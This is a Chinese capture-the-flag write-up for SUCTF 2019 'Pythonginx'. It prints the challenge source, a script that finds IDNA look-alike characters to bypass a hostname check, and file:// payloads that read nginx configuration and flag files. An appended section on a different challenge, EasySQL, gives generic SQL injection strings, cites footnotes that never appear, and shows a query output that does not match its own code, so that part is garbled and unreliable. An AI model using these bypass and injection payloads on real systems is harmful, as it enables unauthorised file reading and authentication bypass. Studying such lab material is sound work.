[SUCTF 2019]Pythonginx

打开题目可以直接看到源代码:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

分析过程

可以看到源代码中有三个判断,第一二个判断是使用urlparse,urlsplit对传入的URL进行了分割。通过网上查这两个函数,
urlsplit是拆分,而urlparse是解析,所以urlparse分割更为细致
区别
split函数在分割的时候,path和params属性是在一起的

简单的说就是你传入的URL,中间的hostname不能包含suctf.cc.

但在第三个判断,是需要host包含suctf.cc,关键代码是这个

newhost.append(h.encode('idna').decode('utf-8'))

首先使用的idna编码,然后使用utf-8进行解码,于是我们可以使用脚本去碰撞出可以代替suctf.cc的字符,附上我的脚本:

# coding:utf-8
s='suctf.cc'
for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        if res in s:
            print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

可以跑出很多个可用的替换字符
在这里插入图片描述
随便选择一个进行替换即可。

绕过判断后可以看到

if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()

可以返回finalurl的内容,这里可以使用file协议进行读取文件

FIle协议也叫本地文件传输协议 ,主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件或者通过右键单击‘打开’一样。即File协议是访问你本机的文件资源。
要使用File协议,基本的格式如下:file:///文件路径。

但是我们不知道要读取哪些文件,在源代码中最后有提示:

 <!-- Do you know the nginx? -->

我们需要了解下nginx的配置文件:

配置文件存放目录:/etc/nginx

主配置文件:使用wget安装的在/etc/nginx/conf/nginx.conf
使用 yum 安装,源码安装的配置文件在 /usr/local/nginx/conf
管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

我们读取主配置文件:file://sucⓉf.cc/etc/nginx/conf/nginx.conf
读取不到,修改一下file://sucⓉf.cc/usr/local/nginx/conf/nginx.conf
在这里插入图片描述
发现了flag:location /flag { # alias /usr/fffffflag; # } }
读取flag:file://sucⓉf.cc/usr/fffffflag;

### SUCTF 2019 EasySQL Challenge Writeup #### 背景介绍 SUCTF 2019 的 EasySQL 是一道经典的 SQL 注入题目。该题目的核心在于利用特定的 `sql_mode` 设置来绕过某些安全机制,从而实现注入攻击。 #### 关键技术点分析 在 MySQL 中,通过设置不同的 `sql_mode` 可以改变数据库的行为模式[^1]。对于此题而言,关键在于将 `sql_mode` 设定为 `PIPES_AS_CONCAT`,这会使得双竖线 (`||`) 不再表示逻辑运算中的“或”,而是被解释成字符串连接操作符[^4]。 这种变化允许攻击者构造特殊的输入,在不触发传统防御措施的情况下完成注入。具体来说: - 当 `sql_mode=PIPES_AS_CONCAT` 时,`||` 将用于拼接字符串而不是作为布尔表达式的组成部分; - 利用这一点可以巧妙地构建查询语句,使原本看似无害的数据变成有效的 SQL 片段[^2]; #### 解决方案演示 假设存在如下表结构: ```sql CREATE TABLE users ( id INT NOT NULL AUTO_INCREMENT, username VARCHAR(50), password VARCHAR(50), PRIMARY KEY (id) ); ``` 如果应用程序未对用户提交的内容做充分验证,则可以通过精心设计的参数传递恶意指令给服务器端处理。例如,当登录功能接受用户名和密码时,可尝试以下方式突破认证: ```python username = "admin' || '1" password = "' OR '1'='1" # 构造后的最终查询可能形似这样: query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}';" print(query) # 输出结果将是: # SELECT * FROM users WHERE username='admin'' || '1' AND password='' OR '1'='1'; ``` 由于启用了 `PIPES_AS_CONCAT` 模式,上述代码片段将会成功匹配管理员账户并返回相应记录[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值